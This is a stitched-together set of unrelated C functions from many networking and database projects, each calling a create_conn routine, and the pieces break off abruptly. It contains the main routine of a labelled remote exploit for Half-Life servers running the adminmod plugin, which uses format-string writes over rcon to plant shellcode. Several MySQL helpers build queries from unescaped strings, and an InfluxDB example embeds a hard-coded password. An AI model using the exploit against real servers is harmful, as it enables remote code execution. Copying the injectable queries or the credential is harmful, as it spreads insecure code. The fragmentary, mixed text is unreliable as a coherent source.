static void
accept_cb(struct ev_loop *loop, ev_uinet *w, int revents)
{
struct passive_context *passive = w->data;
struct uinet_socket *newso = NULL;
struct uinet_socket *newpeerso = NULL;
struct connection_context *conn = NULL;
struct connection_context *peerconn = NULL;
int error;
int batch_limit = 32;
int processed = 0;
while ((processed < batch_limit) &&
(UINET_EWOULDBLOCK != (error = uinet_soaccept(w->so, NULL, &newso)))) {
processed++;
if (0 == error) {
newpeerso = NULL;
conn = NULL;
peerconn = NULL;
if (passive->verbose)
printf("accept succeeded\n");
conn = create_conn(passive, newso, 1);
if (NULL == conn)
goto fail;
newpeerso = uinet_sogetpassivepeer(newso);
peerconn = create_conn(passive, newpeerso, 0);
if (NULL == peerconn)
goto fail;
conn->peer = peerconn;
peerconn->peer = conn;
ev_uinet_start(loop, &conn->watcher);
if (!passive->extract)
ev_uinet_start(loop, &peerconn->watcher);
passive->interface->num_sockets += 2;
continue;
fail:
if (conn) destroy_conn(conn);
if (newso) uinet_soclose(newso);
if (newpeerso) uinet_soclose(newpeerso);
}
}
if (processed > passive->interface->max_accept_batch)
passive->interface->max_accept_batch = processed;
}
static void
send_calls (Sess *sess, struct Conn_Info *ci)
{
u_int rd;
int i;
if (!ci->conn)
{
create_conn (sess, ci);
return;
}
if (!ci->is_connected)
/* wait until connection is connected (or has failed) */
return;
rd = (ci->rd + ci->num_sent) % MAX_PIPED;
for (i = ci->num_sent; i < ci->num_pending; ++i)
{
core_send (ci->conn, ci->call[rd]);
++ci->num_sent;
rd = (rd + 1) % MAX_PIPED;
}
}
static int
run0(UNUSED int argc, void **argv)
{
int res;
int _argc;
char **_argv;
assert(argc == 2);
res = 0;
_argc = (intptr_t)argv[0];
_argv = argv[1];
mrkamqp_init();
while (!shutting_down) {
if (create_conn() != 0) {
goto err;
}
if (run_conn(_argc, _argv) != 0) {
goto err;
}
err:
assert(conn == NULL);
CTRACE("Reconnecting ...");
mrkthr_sleep(1000);
continue;
}
CTRACE("Exiting run0 ...");
return res;
}
galera::TrxHandle*
galera::Wsdb::get_conn_query(int version,
const wsrep_uuid_t& source_id,
wsrep_trx_id_t conn_id,
bool create)
{
gu::Lock lock(mutex_);
ConnMap::iterator i;
if ((i = conn_map_.find(conn_id)) == conn_map_.end())
{
if (create == true)
{
Conn& conn(create_conn(conn_id));
TrxHandle* trx(new TrxHandle(
version, source_id, conn_id, -1, true));
conn.assign_trx(trx);
return trx;
}
else
{
return 0;
}
}
if (i->second.get_trx() == 0 && create == true)
{
TrxHandle* trx(new TrxHandle(version, source_id, conn_id, -1, true));
i->second.assign_trx(trx);
}
return i->second.get_trx();
}
/*
* <Function name>
* create_conn
*
* <Outline>
* 接続用リストの要素をコネクションリストに追加する
*
* <Input>
* dbtype : データベースのタイプ
* connname : 接続時に指定した識別子(指定が無い場合はNULL)
* connaddr : コネクションリソースのアドレス(PostgresならPGconn *と同等)
*
* <Output>
* success : craete_connで発行された接続ID
* failure : INVALID_CONN_ID
*/
static int
add_conn_lists(int dbtype, char *connname, unsigned long connaddr){
// add list and return unique ID(start: 1)
struct conn_list *index = &_conn_lists;
while(index->next != NULL){
index = index->next;
if(index->sc.cid != NULL &&
strcmp(index->sc.cid, connname) == 0){
ERRLOG("connection id %s is already registered.\n", connname);
return INVALID_CONN_ID;
}
if(index->sc.cid != NULL &&
strcmp(index->sc.cid, connname) == 0){
return index->sc.id;
}
/*--------------------------*/
}
// insert
index->next = create_conn(dbtype, connname, connaddr);
if(index->next == NULL){
return INVALID_CONN_ID;
}
return index->next->sc.id;
}
/*
* Check if pgpool can accept the lifecheck query.
*/
int
wd_ping_pgpool(WdInfo * pgpool)
{
int rtn;
PGconn * conn;
conn = create_conn(pgpool->hostname, pgpool->pgpool_port);
rtn = ping_pgpool(conn);
return rtn;
}
static void ext_direct_connect(GIOChannel *io, GError *err, gpointer user_data)
{
struct ext_io *server = user_data;
struct ext_profile *ext = server->ext;
struct ext_io *conn;
conn = create_conn(server, io);
ext->conns = g_slist_append(ext->conns, conn);
ext_connect(io, err, conn);
}
/*
*******************************************************
* Initialize all the data.
* OUT: 0: init failure, 1: init success.
*******************************************************
*/
int init_stat_data(){
MYSQL *conn;
int result;
result = create_conn(&conn);
if(result == 0) return 1;
/* delete all */
freeup_all(0);
mysql_close(conn);
return 1;
}
/*
*********************************************
* insert process energy record into database
* IN:
* @conn: MYSQL connection
* @de: process energy record to be inserted.
* RETURN:
* 0: if success, 1 if failed
********************************************
*/
int insert_process_energy(struct process_energy * pe){
MYSQL *conn;
int result;
result = create_conn(&conn);
if(result == 0) return 1;
char query[1024];
sprintf(query, "INSERT INTO process_energy(pid,time, ecpu, emem, enet, edisk) VALUES(%d,%ld, %9.2f, %9.2f, %9.2f, %9.2f)", pe->pid, pe->time, pe->ecpu, pe->emem, pe->enet, pe->edisk);
result = mysql_real_query(conn, query, (unsigned int) strlen(query));
mysql_close(conn);
return result;
}
/*
*********************************************
* insert device energy record into database
* IN:
* @conn: MYSQL connection
* @de: device energy record to be inserted.
* RETURN:
* 0: if success, 1 if failed
********************************************
*/
int insert_device_energy(struct device_energy * de){
MYSQL *conn;
int result;
result = create_conn(&conn);
if(result == 0) return 1;
char query[1024];
sprintf(query, "INSERT INTO device_energy(time, ecpu, emem, enet, edisk) VALUES(%ld, %9.2f, %9.2f, %9.2f, %9.2f)", de->time, de->ecpu, de->emem, de->enet, de->edisk);
result = mysql_real_query(conn, query, (unsigned int) strlen(query));
mysql_close(conn);
return result;
}
/*
*******************************************************
* Delete system info records before time interval.
* IN:
* @conn: mysql connection
* @interval: time to keep process profile
* RETURN:
* 0, success, 1 error
*******************************************************
*/
int freeup_sys_info(u32 interval){
MYSQL *conn;
int result;
result = create_conn(&conn);
if(result == 0) return 1;
long now = (long) time(NULL);
char query[1024];
sprintf(query, "DELETE FROM sys_info where time < %ld", now - interval);
result = mysql_real_query(conn, query, (unsigned int) strlen(query));
mysql_close(conn);
return result;
}
/*
********************************************
* insert system record into database
* IN:
* @conn: MYSQL connection
* @pst: system level record to be inserted
* OUT:
* 0: if success, 1 if failed
********************************************
*/
int insert_sys_info(struct sys_info * st){
MYSQL *conn;
int result;
result = create_conn(&conn);
if(result == 0) return 1;
char query[1024];
sprintf(query, "INSERT INTO sys_info(time, netsend, netrcv, diskread, diskwrite,cpupower,memaccess, itv,runtime, apnum)"
"VALUES(%u, %llu, %llu, %llu, %llu, %9.2f, %llu, %u, %u, %d)", st->time, st->totalnetsnd, st->totalnetrcv,
st->totaldiskread, st->totaldiskwrite, st->cpupower, st->memaccess, st->itv, st->runtime, st->active_process_num);
result = mysql_real_query(conn, query, (unsigned int) strlen(query));
mysql_close(conn);
return result;
}
int main (int argc, char *argv[])
{
struct queryopt opt;
struct ofields *fields;
struct select_doc *s_doc;
struct query_doc *qu_doc;
struct db_connect *db_conn;
struct output *out;
struct db_cursor *db_c;
struct results *res;
opt.e_skip = 0; // standard
opt.e_ret = 0; // standard
opt.bsever = 0;
opt.blevel = 0;
opt.bdate = 0;
opt.bdateu = 0;
opt.bdatef = 0;
opt.bmsg = 0;
opt.bskip = 0;
opt.bsys = 0;
getoptions(argc, argv, &opt);
qu_doc = create_query(&opt); // crate query
s_doc = create_select();
db_conn = create_conn(); // create connection
out = launch_query(&opt, s_doc, qu_doc, db_conn); // launch the query
db_c = open_cursor(db_conn, out); // open cursor
while (cursor_next(db_c))
{
res = read_data(db_c);
fields = get_data(res);
formater(fields); // formate output
free(fields);
free(res);
}
free_cursor(db_c);
close_conn(db_conn);
free(out);
free(s_doc);
free(qu_doc);
return (0);
}
/*
********************************************
* insert process record into database
* IN:
* @conn: MYSQL connection
* @pst: process level record to be inserted
* OUT:
* 0: if success, 1 if failed
********************************************
*/
int insert_ps(struct process_info * pst) {
MYSQL *conn;
int result;
result = create_conn(&conn);
if(result == 0) return 1;
char query[1024];
if(pst->cmdline == NULL)
pst->cmdline="";
sprintf(query, "INSERT INTO process_info(pid, time, read_bytes, write_bytes, cancelled_write_bytes,"
"total_vsz, total_rsz, mem, utime, stime, gtime, cpu, cswch, nvswch, minflt, majflt, netsnd, "
"netrcv, ratio, cpu_accesses,cmdline) VALUES(%d, %u, %9.2f, %9.2f, %9.2f, %u, %u, %6.2f, %7.2f, %7.2f, %7.2f, "
"%7.2f, %9.2f, %9.2f, %9.2f, %9.2f, %9.2f, %9.2f,%9.2f,%llu, \'%s\')", pst->pid, pst->time, pst->read_bytes,
pst->write_bytes, pst->cancelled_write_bytes, pst->vsz, pst->rss, pst->mem, pst->utime, pst->stime,
pst->gtime, pst->cpu, pst->cswch, pst->nvcswch, pst->minflt, pst->majflt, pst->netsnd, pst->netrcv,
pst->ratio,pst->cpu_accesses, pst->cmdline);
result = mysql_real_query(conn, query, (unsigned int) strlen(query));
mysql_close(conn);
return result;
}
/* net_poll_listen:
* Polls a listening conn for incoming connections. If
* there are any, this function accepts the first queued and
* returns a net NET_CONN * which the user can use to talk
* to the connecting computer. Otherwise NULL is returned.
*/
NET_CONN *net_poll_listen (NET_CONN *conn)
{
static NET_CONN newconn;
if (conn->status != NET_CONN_LISTENING) return NULL;
newconn.type = conn->type;
newconn.driver = conn->driver;
if (conn->driver->poll_listen (conn, &newconn)) {
struct __conn_list_t *ptr;
newconn.status = NET_CONN_CONNECTED;
MUTEX_LOCK(__libnet_internal__openconns);
ptr = create_conn ();
if (!ptr) {
MUTEX_UNLOCK(__libnet_internal__openconns);
conn->driver->destroy_conn (&newconn);
return NULL;
} else {
memcpy (ptr->conn, &newconn, sizeof (NET_CONN));
conn = ptr->conn;
MUTEX_UNLOCK(__libnet_internal__openconns);
return conn;
}
} else return NULL;
}
static void
conn_failed (Event_Type et, Object *obj, Any_Type regarg, Any_Type callarg)
{
Conn_Private_Data *cpriv;
struct Conn_Info *ci;
Conn *conn;
Sess *sess;
assert (et == EV_CONN_FAILED && object_is_conn (obj));
conn = (Conn *) obj;
cpriv = CONN_PRIVATE_DATA (conn);
sess = cpriv->sess;
ci = cpriv->ci;
if (ci->is_successful || param.retry_on_failure)
/* try to create a new connection so we can issue the remaining
calls. */
create_conn (sess, ci);
else
/* The connection failed before we got even one reply, so declare
the session as dead... */
sess_failure (cpriv->sess);
}
/* net_openconn:
* Opens a conn over the specified network type `type'. `addr' defines
* whether or not the conn should be use a specific local association.
* The function returns a pointer to the NET_CONN struct created, or
* NULL on error.
*/
NET_CONN *net_openconn (int type, const char *addr)
{
struct __conn_list_t *ptr;
MUTEX_LOCK(__libnet_internal__openconns);
if ((ptr = create_conn())) {
NET_CONN *conn = ptr->conn;
conn->type = type;
conn->driver = __libnet_internal__get_driver (type);
if (conn->driver && !conn->driver->init_conn (conn, addr)) {
MUTEX_UNLOCK(__libnet_internal__openconns);
return conn;
}
destroy_conn (ptr);
}
MUTEX_UNLOCK(__libnet_internal__openconns);
return NULL;
}
static void ext_confirm(GIOChannel *io, gpointer user_data)
{
struct ext_io *server = user_data;
struct ext_profile *ext = server->ext;
struct ext_io *conn;
GError *gerr = NULL;
bdaddr_t src, dst;
char addr[18];
bt_io_get(io, &gerr,
BT_IO_OPT_SOURCE_BDADDR, &src,
BT_IO_OPT_DEST_BDADDR, &dst,
BT_IO_OPT_DEST, addr,
BT_IO_OPT_INVALID);
if (gerr != NULL) {
error("%s failed to get connect data: %s", ext->name,
gerr->message);
g_error_free(gerr);
return;
}
DBG("incoming connect from %s", addr);
conn = create_conn(server, io);
conn->auth_id = btd_request_authorization(&src, &dst, ext->uuid,
ext_auth, conn);
if (conn->auth_id == 0) {
error("%s authorization failure", ext->name);
ext_io_destroy(conn);
return;
}
ext->conns = g_slist_append(ext->conns, conn);
DBG("%s authorizing connection from %s", ext->name, addr);
}
result_t create_datagram_conn(client_info_t *client_info, connection_handler_t handle_connection) {
return create_conn(client_info, create_datagram_conn_sock, handle_connection);
}
static void
passive_accept_cb(struct ev_loop *loop, ev_uinet *w, int revents)
{
struct uinet_demo_passive *passive = w->data;
struct uinet_socket *newso = NULL;
struct uinet_socket *newpeerso = NULL;
struct passive_connection *conn = NULL;
struct passive_connection *peerconn = NULL;
int error;
unsigned int batch_limit = 32;
unsigned int processed = 0;
while ((processed < batch_limit) &&
(UINET_EWOULDBLOCK != (error = uinet_soaccept(w->so, NULL, &newso)))) {
processed++;
if (0 == error) {
newpeerso = NULL;
conn = NULL;
peerconn = NULL;
if (passive->cfg.verbose)
printf("%s: Accept succeeded\n", passive->cfg.name);
conn = create_conn(passive, newso, 1);
if (NULL == conn) {
printf("%s: Failed to alloc new connection context\n",
passive->cfg.name);
goto fail;
}
newpeerso = uinet_sogetpassivepeer(newso);
peerconn = create_conn(passive, newpeerso, 0);
if (NULL == peerconn) {
printf("%s: Failed to alloc new peer connection context\n",
passive->cfg.name);
goto fail;
}
conn->peer = peerconn;
peerconn->peer = conn;
ev_uinet_start(loop, &conn->watcher);
ev_uinet_start(loop, &peerconn->watcher);
if (conn->verbose || (passive->cfg.copy_mode & UINET_IP_COPY_MODE_MAYBE))
ev_uinet_start(loop, &conn->connected_watcher);
if (peerconn->verbose || (passive->cfg.copy_mode & UINET_IP_COPY_MODE_MAYBE))
ev_uinet_start(loop, &peerconn->connected_watcher);
passive->num_sockets += 2;
continue;
fail:
if (conn) destroy_conn(conn);
if (newso) uinet_soclose(newso);
if (newpeerso) uinet_soclose(newpeerso);
}
}
if (processed > passive->max_accept_batch)
passive->max_accept_batch = processed;
}
/***********************************************************************
* debug init
***********************************************************************/
void dbg_init(void)
{
db_s = create_conn(DB_IP, DB_PORT, 1);
}
void* thread_connect() {
int listenfd, connfd;
listenfd = create_conn(10023);
if (listenfd <= 0) {
printf("create listenfd failed\n");
exit(0);
}
bzero(clients, sizeof(clients));
int epollfd;
epollfd = epoll_create(101);
if (epollfd == -1) {
exit(0);
}
struct epoll_event ev, events[150];
ev.events = EPOLLIN;
ev.data.fd = listenfd;
if (epoll_ctl(epollfd, EPOLL_CTL_ADD, listenfd, &ev) == -1) {
exit(0);
}
for ( ; ; ) {
int nfds;
nfds = epoll_wait(epollfd, events, sizeof(events), -1);
if (nfds == -1)
exit(0);
int i;
for (i = 0; i < nfds; ++i) {
int currfd = events[i].data.fd;
if (currfd == listenfd) {
int conn_sock;
conn_sock = accept(listenfd,
(struct sockaddr *)NULL, NULL);
if (conn_sock == -1)
exit(0);
int n, saved;
saved = 0;
for (n = 0; n < sizeof(clients); ++n) {
if (clients[n] == 0) {
clients[n] = conn_sock;
saved = 1;
break;
}
}
if (saved == 0) {
close(conn_sock);
continue;
}
setnonblocking(conn_sock);
ev.events = EPOLLIN | EPOLLET;
ev.data.fd = conn_sock;
if (epoll_ctl(epollfd, EPOLL_CTL_ADD, conn_sock, &ev) == -1)
exit(0);
} else {
int n;
char str[50];
n = read(currfd, str, sizeof(str));
if (n == 0) {
int i;
for (i = 0; i < sizeof(clients); ++i) {
if (clients[i] == currfd) {
clients[i] = 0;
break;
}
}
close(currfd);
epoll_ctl(epollfd, EPOLL_CTL_DEL, currfd, NULL);
} else {
strncpy(msg, str, n);
}
}
}
}
}
static void
check_pgpool_status_by_query(void)
{
WdInfo * p = WD_List;
struct timeval tv;
pthread_attr_t attr;
pthread_t thread[MAX_WATCHDOG_NUM];
WdPgpoolThreadArg thread_arg[MAX_WATCHDOG_NUM];
int rc;
int i,cnt;
/* set startup time */
gettimeofday(&tv, NULL);
/* thread init */
pthread_attr_init(&attr);
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
/* send queries to all pgpools using threads */
cnt = 0;
while (p->status != WD_END)
{
if (p->status != WD_DOWN)
{
thread_arg[cnt].conn = create_conn(p->hostname, p->pgpool_port);
rc = watchdog_thread_create(&thread[cnt], &attr, thread_ping_pgpool, (void*)&thread_arg[cnt]);
}
p ++;
cnt ++;
if (cnt >= MAX_WATCHDOG_NUM)
{
ereport(WARNING,
(errmsg("checking pgpool status by query, pgpool num is out of range:%d",cnt)));
break;
}
}
pthread_attr_destroy(&attr);
/* check results of queries */
p = WD_List;
for (i = 0; i < cnt; )
{
int result;
ereport(DEBUG1,
(errmsg("checking pgpool status by query"),
errdetail("checking pgpool %d (%s:%d)",
i, p->hostname, p->pgpool_port)));
if (p->status == WD_DOWN)
{
ereport(LOG,
(errmsg("checking pgpool status by query"),
errdetail("pgpool %d (%s:%d) is in down status",
i, p->hostname, p->pgpool_port)));
i++;
p++;
continue;
}
else
{
rc = pthread_join(thread[i], (void **)&result);
if ((rc != 0) && (errno == EINTR))
{
usleep(100);
continue;
}
}
if (result == WD_OK)
{
ereport(DEBUG1,
(errmsg("checking pgpool status by query"),
errdetail("WD_OK: status: %d", p->status)));
/* life point init */
p->life = pool_config->wd_life_point;
}
else
{
ereport(DEBUG1,
(errmsg("checking pgpool status by query"),
errdetail("NG; status: %d life:%d", p->status, p->life)));
if (p->life > 0)
{
p->life --;
}
/* pgpool goes down */
if (p->life <= 0)
{
ereport(LOG,
(errmsg("checking pgpool status by query"),
errdetail("lifecheck failed %d times. pgpool %d (%s:%d) seems not to be working",
pool_config->wd_life_point, i, p->hostname, p->pgpool_port)));
/* It's me! */
if ((i == 0) &&
(WD_MYSELF->status != WD_DOWN))
{
wd_set_myself(&tv, WD_DOWN);
wd_notice_server_down();
}
/* It's other pgpool */
else if (p->status != WD_DOWN)
pgpool_down(p);
}
}
i++;
p++;
}
}
int main(int argc, char **argv)
{
int sock, stackpops, padding;
int i,j,bytes_written;
int p1,p2,p3,p4;
char cmd[1000], reply[1000];
unsigned long addr;
printf("hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin\n"
"by [email protected]\n\n");
if(argc!=4)
{
printf("Usage: %s server_ip server_port rcon_password\n\n",argv[0]);
exit(1);
}
strcpy(server_ip,argv[1]);
server_port=strtol(argv[2],NULL,10);
strcpy(rcon_pwd,argv[3]);
create_conn(&sock,server_ip,server_port);
printf("Getting stackpop count...");
send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
stackpops=-1;
for(padding=0;padding<4 && stackpops==-1;padding++)
{
for(i=1;i<100 && stackpops==-1;i++)
{
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
sprintf(reply,"AAAA%%%d$08x",i);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
reply[strlen(reply)-1]=0;
if(strstr(reply,"AAAA41414141"))
{
stackpops=i;
bytes_written=4+padding;
}
printf(".");
fflush(stdout);
}
}
padding--;
if(stackpops==-1)
{
printf("\ncouldn't determine stackpop count. (I really tried hard!)\n");
exit(1);
}
printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding);
// inject shellcode
printf("Writing shellcode...");
addr=OFFSET;
for(i=0;i<strlen(shellcode);)
{
int t;
if((addr&0xFF)>0x75)
{
// leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
// distance is 0x13B-0x7A = 193d
unsigned long target=192;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding(0xe9,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding(target&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding((target>>8)&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding((target>>16)&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr++;
strcpy(cmd,"admin_command admin_map ");
for(j=0;j<padding;j++) strcat(cmd,"b");
t=get_padding((target>>24)&0xFF,bytes_written);
sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
(addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
strcat(cmd,reply);
send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
addr+=193;
}
else
{
int main(int argc, char *argv[]){
//prepare curl
char url[]="https://hotel.psc.edu:8086/";
int ssl_verify = 1;
libinflux_init();
influxConn *hostA = create_conn(url, "test", "dbuser", "TcitoPsb", ssl_verify);
CURLcode res;
set_callback(hostA, dataCallback);
//parse arguments
printf("%s:\n", argv[0]);
while( (argc > 1) && (argv[1][0] == '-') ){
switch (argv[1][1])
{
case 's': // set ssl peer verification. On: 1, Off: 0
if(argv[1][3] == '0')
ssl_verify = 0;
else if(argv[1][3] == '1')
ssl_verify = 1;
//arguments were consumed
argv += 2;
argc -= 2;
break;
case 'q': // query
hostA->ssl = ssl_verify;
res = influxQuery(hostA, &argv[1][3]);
if( res != CURLE_OK){
fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
}
//arguments were consumed
argv += 2;
argc -= 2;
break;
case 'w': // write
hostA->ssl = ssl_verify;
res = influxWrite(hostA, &argv[1][3]);
if( res != CURLE_OK){
fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
}
//arguments were consumed
argv += 2;
argc -= 2;
break;
case 't': // test/check connection
hostA->ssl = ssl_verify;
res = influxCheck(hostA);
if( res != CURLE_OK)
fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
//arguments were consumed
argv += 1;
argc -= 1;
break;
case 'd': // enable debug
set_debug(true);
//arguments were consumed
argv += 1;
argc -= 1;
break;
default:
printf("Invalid argument: %s\n", argv[1]);
usage();
}
}
free_conn(hostA);
libinflux_cleanup();
return 0;
}
